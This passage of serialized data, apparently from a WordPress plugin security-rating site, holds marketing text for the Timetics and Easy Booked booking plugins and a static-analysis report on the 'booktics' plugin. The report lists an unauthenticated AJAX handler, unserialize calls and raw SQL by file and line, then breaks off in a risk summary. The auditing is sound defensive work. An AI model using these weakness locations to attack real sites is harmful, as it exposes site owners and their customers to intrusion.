rel=\"ugc\">\u003Cstrong>Eventin\u003C\u002Fstrong>\u003C\u002Fa> – the free WordPress event management plugin adding speaker management, QR code check-in, RSVP, recurring events, and multi-gateway ticketing on top of Timetics’ booking engine.\u003C\u002Fp>\n\u003Ch3>Advanced Booking Form Customization\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fmeetings\u002Fhow-to-add-custom-fileds-on-booking-form\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Custom Booking Form Fields\u003C\u002Fstrong>\u003C\u002Fa> – Collect any information you need upfront: dietary requirements, project briefs, intake forms, or custom screening questions.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Client Notes & Special Requests\u003C\u002Fstrong> – Let clients add instructions or requests when booking.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Special Availability Overrides\u003C\u002Fstrong> – Override your regular schedule for holidays, staff leave, or one-off events without changing your default availability.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fbookings\u002Fcalendar-view\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Admin Calendar View\u003C\u002Fstrong>\u003C\u002Fa> – Full visual calendar overview of all scheduled appointments and bookings for easy day and week planning.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Multi-Host Event & Data Management\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Multiple Hosts Per Booking\u003C\u002Fstrong> – Assign multiple team members to the same meeting, event, or session.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fimport-export-data\u002Fhow-to-import-and-export-data-of-timetics\u002F\" rel=\"nofollow ugc\">\u003Cstrong>CSV & Excel Data Export\u002FImport\u003C\u002Fstrong>\u003C\u002Fa> – Migrate, back up, or report on all your booking data in standard spreadsheet formats.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Premium Integrations for Your Booking Workflow\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Fzoom-integration\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Zoom Integration\u003C\u002Fstrong>\u003C\u002Fa> – A unique Zoom meeting link is auto-generated the moment a booking is confirmed and delivered to both host and client. Reduces no-shows by giving clients instant, one-click access to their virtual appointment.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Ffluentcrm-integrationpro\u002F\" rel=\"nofollow ugc\">\u003Cstrong>FluentCRM Integration\u003C\u002Fstrong>\u003C\u002Fa> – Automatically add new and returning clients to CRM sequences for follow-ups, upsells, and retention campaigns.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Fdocs\u002Ftimetics\u002Fintegrations\u002Fpabbly-integration\u002F\" rel=\"nofollow ugc\">\u003Cstrong>Pabbly Integration\u003C\u002Fstrong>\u003C\u002Fa> – Build automated multi-app workflows triggered by new bookings, cancellations, or rescheduling.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Zapier Integration\u003C\u002Fstrong> – Connect Timetics to thousands of apps to automate repetitive booking-related tasks.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WhatsApp Booking Notifications\u003C\u002Fstrong> – Send real-time booking confirmations and pre-appointment reminders via WhatsApp.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Twilio SMS Reminders\u003C\u002Fstrong> – Deliver instant text message reminders to clients’ phones before every appointment.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>PRO Payment Options\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>PayPal Integration\u003C\u002Fstrong> – Accept PayPal payments from clients worldwide, in any currency.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Stripe Integration\u003C\u002Fstrong> – Full card payment support with real-time processing.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Payments\u003C\u002Fstrong> – Access 100+ payment gateways and advanced order management.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Local \u002F Offline Payment Methods\u003C\u002Fstrong> – Support clients who prefer to pay in person.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Support & Resources\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>📖 \u003Ca href=\"https:\u002F\u002Fdocs.arraytics.com\u002Ftimetics\u002F\" rel=\"nofollow ugc\">Full Documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>💬 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Ftimetics\u002F\" rel=\"ugc\">Community Support Forum\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>🗺️ \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Ftimetics-roadmaps\u002F\" rel=\"nofollow ugc\">Feature Roadmap & Requests\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>🎥 \u003Ca href=\"https:\u002F\u002Fyoutube.com\u002Fplaylist?list=PLkqKWn6EHYbr2O6EvASj6UoVl3Fy1IWL5\" rel=\"nofollow ugc\">Video Tutorials on YouTube\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>👥 \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002Farraytics\" rel=\"nofollow ugc\">Facebook Community Group\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🔥 Now, What’s Next for You?\u003C\u002Fh3>\n\u003Cp>If you’re impressed with Timetics Appointments Booking Calendar and Scheduling Solution, please check out our other awesome WordPress plugins:\u003C\u002Fp>\n\u003Cp>📅 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-event-solution\u002F\" rel=\"ugc\">Eventin\u003C\u002Fa>\u003C\u002Fstrong> – Free all-in-one event management and ticketing for WordPress.\u003Cbr \u002F>\n🍽️ \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwp-cafe\u002F\" rel=\"ugc\">WPCafe\u003C\u002Fa>\u003C\u002Fstrong> – Online food ordering, restaurant menu, delivery, and table reservations.\u003Cbr \u002F>\n🎨 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fpoptics\u002F\" rel=\"ugc\">Poptics\u003C\u002Fa>\u003C\u002Fstrong> – Conversion-driven popups to turn visitors into leads and sales.\u003Cbr \u002F>\n📅 \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fbooktics\u002F\" rel=\"ugc\">Booktics\u003C\u002Fa>\u003C\u002Fstrong> – Professional service-based booking for WordPress businesses.\u003C\u002Fp>\n\u003Ch3>External Services\u003C\u002Fh3>\n\u003Cp>This plugin connects to the following external services:\u003C\u002Fp>\n\u003Ch3>Arraytics FluentCRM Service\u003C\u002Fh3>\n\u003Cp>Connects to Arraytics.com’s FluentCRM service to manage contact information for marketing and communication purposes (product updates, feature announcements, support information).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Your email address (only when you voluntarily provide it during business setup\u002Fonboarding).\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Arraytics – \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fterms-of-service\u002F\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Farraytics.com\u002Fprivacy-policy\u002F\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> This is optional and not required for core plugin functionality.\u003C\u002Fp>\n\u003Ch3>Google Calendar API\u003C\u002Fh3>\n\u003Cp>Synchronizes appointment bookings between your WordPress site and Google Calendar (two-way sync). Enables automatic blocking of booked time slots and real-time calendar updates.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Calendar event data (appointment details, dates, times, attendee information) when bookings are created, updated, or synchronized.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Google LLC – \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fterms\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> Optional integration, only active if you connect your Google Calendar account.\u003C\u002Fp>\n\u003Ch3>Stripe Payment Processing\u003C\u002Fh3>\n\u003Cp>Handles secure online payment transactions for appointment bookings made through the booking calendar.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Data sent:\u003C\u002Fstrong> Payment information (transaction amounts, booking details) when customers make payments.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service provider:\u003C\u002Fstrong> Stripe, Inc. – \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Flegal\u002Fssa\" rel=\"nofollow ugc\">Terms of Service\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fstripe.com\u002Fprivacy\" rel=\"nofollow ugc\">Privacy Policy\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> Optional integration, only active if you configure Stripe payment settings.\u003C\u002Fp>\n","Appointment booking and scheduling system with online booking calendar, payments, automated reminders, and calendar sync.",2000,68216,35,"2026-03-27T17:28:00.000Z","7.3",[20,179,22,23,163],"appointment-scheduler","https:\u002F\u002Farraytics.com\u002Ftimetics\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftimetics.1.0.54.zip",86,"2026-04-07 00:00:00",{"slug":185,"name":186,"version":187,"author":188,"author_profile":189,"description":190,"short_description":191,"active_installs":192,"downloaded":193,"rating":192,"num_ratings":28,"last_updated":194,"tested_up_to":195,"requires_at_least":196,"requires_php":161,"tags":197,"homepage":198,"download_link":199,"security_score":105,"vuln_count":49,"unpatched_count":29,"last_vuln_date":200,"fetched_at":31},"easy-booked","Easy Booked – Appointment Booking and Scheduling Management System for WordPress","2.4.11","MD Abu Jubayer Hossain","https:\u002F\u002Fprofiles.wordpress.org\u002Fxuvayerpro\u002F","\u003Cp>Managing appointments can be a chaotic and time-consuming task. Without a reliable system, appointments can slip through the cracks, leading to missed opportunities and frustrated clients.\u003C\u002Fp>\n\u003Cp>Get \u003Ca href=\"https:\u002F\u002Feasy-booked.net\" rel=\"nofollow ugc\">Easy Booked\u003C\u002Fa>, the most efficient appointment booking and scheduling system for WordPress. Easy Booked takes the stress out of scheduling by offering a fully customizable and user-friendly booking experience right on your website.\u003C\u002Fp>\n\u003Cp>With features like WooCommerce integration for paid bookings, automated Zoom meeting setups, and direct Google Calendar sync, Easy Booked adds a seamless booking platform to your WordPress site. Keep your clients happy and stay in control with a solution that’s built to support your business’s growth.\u003C\u002Fp>\n\u003Cp>Designed with both simplicity and power, this plugin provides a seamless experience for businesses and individuals who need a reliable way to manage appointments.\u003C\u002Fp>\n\u003Cp>Say goodbye to missed appointments, messed-up scheduling, and complex setups. Easy Booked got your back!\u003C\u002Fp>\n\u003Ch3>🌟 What Is Easy Booked?\u003C\u002Fh3>\n\u003Cp>Easy Booked is a simple powerful WordPress booking management plugin that allows customization and automation of online bookings. Set up any reservation quickly, pleasantly, and easily with the Easy Booked online appointment scheduling plugin.\u003C\u002Fp>\n\u003Cp>With Easy Booked, you can manage your online appointments around the clock. You can easily start your business with the free version of Easy Booked. If you’re looking for more advanced features, you can explore the full version of Easy Booked \u003Ca href=\"https:\u002F\u002F1.envato.market\u002Feasybooked\" rel=\"nofollow ugc\">here\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fa3nbZe0nVzY?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>👁️ \u003Ca href=\"https:\u002F\u002Feasy-booked.net\" rel=\"nofollow ugc\">Demo\u003C\u002Fa> | 🚀 \u003Ca href=\"https:\u002F\u002F1.envato.market\u002Feasybooked\" rel=\"nofollow ugc\">Get Pro\u003C\u002Fa> | 👨‍💻 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Feasy-booked\u002F\" rel=\"ugc\">Get Support\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>🌟 Easy Booked General Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Easy to install and use\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Works great with all WordPress versions\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>A fully customizable booking calendar can be used on any device\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Simple WordPress integration with a shortcode\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Popup calendar with awesome animations after clicking a button and customizable\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automatically create Zoom meetings for booked appointments\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Registered & Guest Bookings\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Create Calendars\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>The customer will be able to view his booked appointment lists in his profile\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Two types of Time Slots can be created, one with the name of the week and the other with the date\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Prevent appointments from getting booked too close to the current date and\u002For time\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customizable emails sent to you and your customers\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>A powerful backend interface to manage appointments\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Filterable, sortable and searchable booking list\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Export of bookings to CSV\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>“Add to Calendar” buttons for your customers\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🌟 Key Features of Easy Booked\u003C\u002Fh3>\n\u003Col>\n\u003Cli>\u003Cstrong>Customizable Booking Calendar:\u003C\u002Fstrong> Display a sleek and adaptive calendar on any page using a shortcode. Comes with a multi-device responsive design.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Elementor Booking Calendar Widget:\u003C\u002Fstrong> With Elementor compatibility, easily style your booking calendar and personalize it into your website’s design.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Integration:\u003C\u002Fstrong> Enable paid bookings and expand payment options by integrating with WooCommerce.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Registered & Guest Bookings:\u003C\u002Fstrong> Accommodate both registered users and guests, making it easier for clients to book without logging in.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Zoom Meeting Automation:\u003C\u002Fstrong> Automatically generate Zoom meeting links for online appointments with a simple and hassle-free setup.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Calendar Integration:\u003C\u002Fstrong> Integrate Google Calendar and allow clients to add appointments directly to their Google Calendar with a simple click.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced Time Slot Management:\u003C\u002Fstrong> Create flexible time slots with conditions with variables like specific dates or recurring weekly slots.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Custom Fields:\u003C\u002Fstrong> Collect additional information with custom fields for appointments on the go.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Comprehensive Backend Management:\u003C\u002Fstrong> Filter, sort, and export bookings, and manage appointments easily with a powerful admin interface.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>24\u002F7 Support:\u003C\u002Fstrong> Enjoy six months of dedicated customer support to ensure a smooth experience.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Data Export and Management:\u003C\u002Fstrong> Easily view appointments and custom information in the admin dashboard.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Set Earliest Booking Window:\u003C\u002Fstrong> Specify how far in advance customers can book appointments (e.g., 2 months, 1 week).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Define Minimum Booking Notice:\u003C\u002Fstrong> Ensure sufficient time for preparation by setting a minimum booking lead time (e.g., 1 day, 2 hours).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customizable Appearance:\u003C\u002Fstrong> Choose from a variety of color options to match your brand and create a visually appealing booking interface.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>Please be aware that most of our key features are not available in the free version. If you’re interested in accessing all these advanced features, please check out the full version of Easy Booked \u003Ca href=\"https:\u002F\u002F1.envato.market\u002Feasybooked\" rel=\"nofollow ugc\">here\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>🔥 Why Choose Easy Booked?\u003C\u002Fh3>\n\u003Col>\n\u003Cli>\u003Cstrong>Fully Customizable Booking Experience:\u003C\u002Fstrong> With Easy Booked, you gain complete control over your booking calendar’s appearance and functionality. Customize everything from colour schemes to layouts, so your calendar perfectly aligns with your brand’s identity.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Seamless Integration with Popular Tools:\u003C\u002Fstrong> Integrating your appointment booking system was difficult. But Easy Booked syncs effortlessly with WooCommerce, Zoom, Google Calendar, PayPal, Stripe, etc. while keeping you and your clients organized.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Powerful and User-Friendly Admin Interface:\u003C\u002Fstrong> Managing appointments shouldn’t be a hassle, and Easy Booked ensures it’s not. The admin dashboard is designed with usability in mind, providing filterable, sortable, and searchable booking lists. View, edit, and manage your bookings with ease.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Flexible Booking Options:\u003C\u002Fstrong> Our plugin provides a versatile solution for different types of businesses. Whether you need to offer free bookings, monetize services with paid bookings, or accommodate registered and guest users, this plugin adapts to your needs.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Responsive and Mobile-Friendly Design:\u003C\u002Fstrong> In today’s mobile-driven world, a responsive booking appointment plugin is essential. Easy Booked adapts seamlessly to any device, offering an optimal booking experience for clients on desktops, tablets, or smartphones.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Extensive Customer Support:\u003C\u002Fstrong> Receive 24\u002F7 reliable support and updates, so you’re never alone in maintaining your booking system.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Continuous Improvements:\u003C\u002Fstrong> We continually refine and enhance our booking appointment plugin based on user feedback, to help you create the best booking experience for your users.\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>👁️ \u003Ca href=\"https:\u002F\u002Feasy-booked.net\" rel=\"nofollow ugc\">Demo\u003C\u002Fa> | 🚀 \u003Ca href=\"https:\u002F\u002F1.envato.market\u002Feasybooked\" rel=\"nofollow ugc\">Get Pro\u003C\u002Fa> | 👨‍💻 \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Feasy-booked\u002F\" rel=\"ugc\">Get Support\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Easy Booked – Appointment Booking plugin is powerful organized essay to manage booking system\u003C\u002Fp>\n\u003Ch3> Quick Links:\u003C\u002Fh3>\n\u003Col>\n\u003Cli> \u003Ca href=\"https:\u002F\u002Fdemo.easy-booked.net\u002F\" rel=\"nofollow ugc\">Try Full Version Demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli> \u003Ca href=\"https:\u002F\u002F1.envato.market\u002Feasybooked\" rel=\"nofollow ugc\">Buy Premium Version\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli> \u003Ca href=\"https:\u002F\u002Feasy-booked.net\u002Fdocumentation\u002F\" rel=\"nofollow ugc\">documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli> \u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@easybooked\" rel=\"nofollow ugc\">Tutorials\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli> \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Feasy-booked\u002F\" rel=\"ugc\">Support\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Ch3> Here Are Some of OUR Others Plugin:\u003C\u002Fh3>\n\u003Col>\n\u003Cli> \u003Ca href=\"https:\u002F\u002Fcodecanyon.net\u002Fitem\u002Fwoocommerce-checkout-google-address-auto-complete\u002F28486504\" rel=\"nofollow ugc\">WooCommerce Checkout Google Address Auto Complete\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Fol>\n","A comprehensive appointment booking calendar and scheduling management system for WordPress.",100,12637,"2025-03-30T03:01:00.000Z","6.7.5","4.7",[20,21,22,23,163],"http:\u002F\u002Fjoydevs.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-booked.2.4.11.zip","2025-02-11 00:00:00",{"attackSurface":202,"codeSignals":387,"taintFlows":441,"riskAssessment":442,"analyzedAt":452},{"hooks":203,"ajaxHandlers":347,"restRoutes":352,"shortcodes":362,"cronEvents":381,"entryPointCount":386,"unprotectedCount":49},[204,210,214,219,223,229,234,239,243,247,252,256,261,265,268,270,274,279,282,287,291,295,299,303,307,311,315,319,323,327,330,334,337,340,343],{"type":205,"name":206,"callback":207,"file":208,"line":209},"action","rest_api_init","register_routes","base\\abstracts\\base-rest-controller.php",25,{"type":205,"name":211,"callback":212,"file":213,"line":13},"init","init_classes","base\\booktics.php",{"type":205,"name":215,"callback":216,"file":217,"line":218},"admin_init","booktics_handle_conflicting_plugins","booktics.php",122,{"type":205,"name":220,"callback":221,"file":217,"line":222},"admin_notices","booktics_show_conflict_deactivation_notice",123,{"type":205,"name":224,"callback":225,"priority":226,"file":227,"line":228},"booktics_menu","menu_permissions",11,"core\\admin\\menu-permission-hook.php",19,{"type":205,"name":230,"callback":231,"file":232,"line":233},"admin_menu","register_admin_menu","core\\admin\\menu.php",21,{"type":235,"name":236,"callback":237,"priority":101,"file":238,"line":228},"filter","notification_sdk_email_body","wrap_email_body","core\\admin\\notification.php",{"type":235,"name":240,"callback":241,"file":238,"line":242},"ens_bt_available_actions","closure",42,{"type":235,"name":244,"callback":245,"priority":101,"file":246,"line":233},"rest_request_after_callbacks","modify_rest_permission_message","core\\admin\\rest-permission-message.php",{"type":205,"name":248,"callback":249,"priority":101,"file":250,"line":251},"password_reset","password_reset_action","core\\admin\\team-member-password-reset.php",23,{"type":235,"name":253,"callback":253,"file":254,"line":255},"booktics_appointment_args","core\\appointment\\appointment-hooks.php",17,{"type":205,"name":257,"callback":258,"file":259,"line":260},"clear_auth_cookie","clear_booktics_cart_on_logout","core\\cart\\cart-service-provider.php",31,{"type":205,"name":262,"callback":263,"priority":101,"file":264,"line":146},"booktics_category_created","category_service_sync","core\\category\\category-hooks.php",{"type":205,"name":266,"callback":263,"priority":101,"file":264,"line":267},"booktics_category_updated",24,{"type":235,"name":236,"callback":237,"priority":101,"file":269,"line":267},"core\\customer\\handlers\\customer-event-handler.php",{"type":205,"name":271,"callback":272,"file":273,"line":228},"booktics_order_created","add_contact_to_fluentcrm","core\\module\\fluentcrm\\fluentcrm-service.php",{"type":205,"name":275,"callback":276,"file":277,"line":278},"template_redirect","handle_google_auth_callback","core\\module\\google-calendar\\Controller\\calendar-auth-controller.php",55,{"type":235,"name":280,"callback":241,"priority":101,"file":277,"line":281},"booktics_team_member_data",58,{"type":235,"name":283,"callback":284,"priority":101,"file":285,"line":286},"booktics_appointments_for_calendar_view","add_google_appointments","core\\module\\google-calendar\\Controller\\calendar-sync-controller.php",64,{"type":235,"name":288,"callback":289,"priority":101,"file":285,"line":290},"booktics_appointment_scheduled_notification_flow_data","get_meet_url",65,{"type":235,"name":292,"callback":293,"priority":101,"file":285,"line":294},"booktics_order_created_notification_flow_data","get_meet_url_for_order_mail",66,{"type":235,"name":296,"callback":297,"priority":101,"file":285,"line":298},"booktics_booking_calendar_urls","get_add_to_calendar_links",67,{"type":205,"name":300,"callback":301,"priority":101,"file":285,"line":302},"booktics_after_appointment_created","handle_appointment_created",69,{"type":205,"name":304,"callback":305,"priority":101,"file":285,"line":306},"booktics_after_appointment_updated","handle_appointment_updated",70,{"type":205,"name":308,"callback":309,"priority":101,"file":285,"line":310},"before_delete_post","capture_appointment_data_before_delete",71,{"type":205,"name":312,"callback":313,"priority":101,"file":285,"line":314},"booktics_after_appointment_deleted","handle_appointment_deleted",72,{"type":205,"name":316,"callback":241,"file":317,"line":318},"booktics_calendars_register","core\\module\\google-calendar\\Service\\calendar.php",646,{"type":235,"name":320,"callback":241,"file":321,"line":322},"booktics_payment_methods","core\\module\\stripe-addon\\hook\\stripe-hook.php",37,{"type":235,"name":324,"callback":325,"file":321,"line":326},"booktics_format_setting_response","stripe_settings",43,{"type":205,"name":215,"callback":211,"file":328,"line":329},"core\\onboard\\init-onboard.php",22,{"type":205,"name":331,"callback":332,"file":333,"line":146},"booktics_order_filters","team_member_order_filters","core\\order\\order-hooks.php",{"type":235,"name":335,"callback":335,"priority":101,"file":336,"line":255},"booktics_service_args","core\\service\\service-hooks.php",{"type":205,"name":338,"callback":339,"priority":101,"file":336,"line":251},"booktics_service_created","service_category_sync",{"type":205,"name":341,"callback":339,"priority":101,"file":336,"line":342},"booktics_service_updated",30,{"type":235,"name":344,"callback":345,"file":346,"line":329},"template_include","custom_single_service_template","core\\service\\templates\\single-service-template.php",[348],{"action":349,"nopriv":60,"callback":350,"hasNonce":60,"hasCapCheck":60,"file":321,"line":351},"booktics_stripe_callback","handle_callback",32,[353],{"namespace":354,"route":355,"methods":356,"callback":358,"permissionCallback":359,"file":360,"line":361},"booktics\u002Fv1","\u002Fdashboard",[357],"GET","get_dashboard_data","check_permission","core\\dashboard\\controllers\\dashboard-controller.php",51,[363,368,372,377],{"tag":364,"callback":365,"file":366,"line":367},"booktics_booking_form","render_booking_form","core\\shortcode\\booking-shortcode.php",14,{"tag":369,"callback":370,"file":371,"line":367},"booktics_category_form","render_category_form","core\\shortcode\\category-shortcode.php",{"tag":373,"callback":374,"file":375,"line":376},"booktics_customer_panel","render_customer_panel","core\\shortcode\\customer-shortcode.php",15,{"tag":378,"callback":379,"file":380,"line":376},"booktics_service_view","render_service_view","core\\shortcode\\service-shortcode.php",[382],{"hook":383,"callback":383,"file":384,"line":385},"booktics_booking_clear_schedule","utils\\global-helper.php",270,6,{"dangerousFunctions":388,"sqlUsage":398,"outputEscaping":422,"fileOperations":28,"externalRequests":435,"nonceChecks":49,"capabilityChecks":436,"bundledLibraries":437},[389,394],{"fn":390,"file":391,"line":392,"context":393},"unserialize","base\\abstracts\\post-model.php",594,"$result = @unserialize( $data );",{"fn":390,"file":395,"line":396,"context":397},"base\\abstracts\\user-model.php",593,"return is_string( $data ) && @unserialize( $data ) !== false;",{"prepared":399,"raw":400,"locations":401},41,8,[402,406,409,412,414,416,418,420],{"file":403,"line":404,"context":405},"base\\installer.php",160,"$wpdb->get_results() with variable interpolation",{"file":403,"line":407,"context":408},164,"$wpdb->query() with variable interpolation",{"file":403,"line":410,"context":411},171,"$wpdb->get_col() with variable interpolation",{"file":403,"line":413,"context":405},174,{"file":403,"line":415,"context":405},205,{"file":403,"line":417,"context":411},227,{"file":403,"line":419,"context":405},252,{"file":403,"line":421,"context":411},264,{"escaped":423,"rawEcho":424,"locations":425},212,4,[426,428,431,433],{"file":346,"line":361,"context":427},"raw output",{"file":429,"line":430,"context":427},"templates\\service\\custom-single-service-template.php",16,{"file":384,"line":432,"context":427},878,{"file":384,"line":434,"context":427},880,12,54,[438],{"name":439,"version":39,"knownCves":440},"Stripe PHP",[],[],{"summary":443,"deductions":444},"The \"booktics\" plugin v1.0.17 exhibits a mixed security posture. It demonstrates strong adherence to secure coding practices in several areas, with a high percentage of SQL queries using prepared statements and outputs being properly escaped. The presence of numerous capability checks also indicates an effort to implement role-based access control. However, there are significant concerns, particularly the presence of an unprotected AJAX handler, which represents a direct entry point for unauthenticated attackers. The use of the `unserialize` function is another red flag, as it can lead to Remote Code Execution if fed untrusted data.  The plugin's vulnerability history reveals two known medium severity CVEs, both of which are now patched. The common vulnerability type of \"Missing Authentication for Critical Function\" aligns with the static analysis finding of an unprotected AJAX handler, suggesting a recurring pattern of security oversight in authentication for critical functionalities. While the current patch status is good, the history indicates a need for vigilance in securing entry points. Overall, \"booktics\" has good foundations in secure coding but requires immediate attention to address unprotected entry points and potentially dangerous function usage.",[445,447,449],{"reason":446,"points":101},"Unprotected AJAX handler found",{"reason":448,"points":400},"Use of potentially dangerous unserialize function",{"reason":450,"points":451},"Total known CVEs in history (though 